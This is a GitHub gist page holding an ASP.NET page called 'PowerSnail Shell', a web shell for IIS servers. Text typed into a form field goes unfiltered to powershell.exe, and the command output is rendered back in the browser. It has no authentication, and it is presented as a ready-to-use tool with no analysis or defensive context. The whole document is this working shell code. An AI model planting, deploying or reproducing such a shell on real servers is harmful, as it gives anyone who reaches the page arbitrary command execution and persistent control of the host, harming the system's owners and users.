Skip to content

Instantly share code, notes, and snippets.

@timsonner
Last active January 29, 2025 08:46
Show Gist options
  • Select an option

  • Save timsonner/cc7987e76553577da09062141aadf34c to your computer and use it in GitHub Desktop.

Select an option

Save timsonner/cc7987e76553577da09062141aadf34c to your computer and use it in GitHub Desktop.
IIS PowerSnail Shell with pretty output. Spawn system processes from web browser...
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>PowerSnail Shell</title>
<style>
.output {
font-family: Consolas, "Courier New", monospace;
white-space: pre;
border: 1px solid #ccc;
padding: 10px;
background-color: #f9f9f9;
overflow: auto;
max-height: 400px;
width: 100%;
}
.error {
color: red;
}
</style>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:TextBox ID="txtCommand" runat="server" Width="300px"></asp:TextBox>
<asp:Button ID="btnExecute" runat="server" Text="Execute" OnClick="btnExecute_Click" />
<asp:Literal ID="ltlOutput" runat="server" />
</div>
</form>
<script runat="server">
void Page_Load(object sender, EventArgs e)
{
}
protected void btnExecute_Click(object sender, EventArgs e)
{
string command = txtCommand.Text;
if (!string.IsNullOrEmpty(command))
{
ltlOutput.Text = "<div class='output'>" + ExecutePowerShell(command) + "</div>";
}
}
private string ExecutePowerShell(string command)
{
try
{
ProcessStartInfo psi = new ProcessStartInfo("powershell.exe", "-NoProfile -Command " + command);
psi.RedirectStandardOutput = true;
psi.RedirectStandardError = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
Process process = Process.Start(psi);
using (StreamReader outputReader = process.StandardOutput)
using (StreamReader errorReader = process.StandardError)
{
string output = outputReader.ReadToEnd().Replace("\n", "<br />");
string error = errorReader.ReadToEnd().Replace("\n", "<br />");
if (!string.IsNullOrEmpty(error))
{
return output + "<br /><span class='error'>" + error + "</span>";
}
return output;
}
}
catch (Exception ex)
{
return "Error: " + ex.Message.Replace("\n", "<br />");
}
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment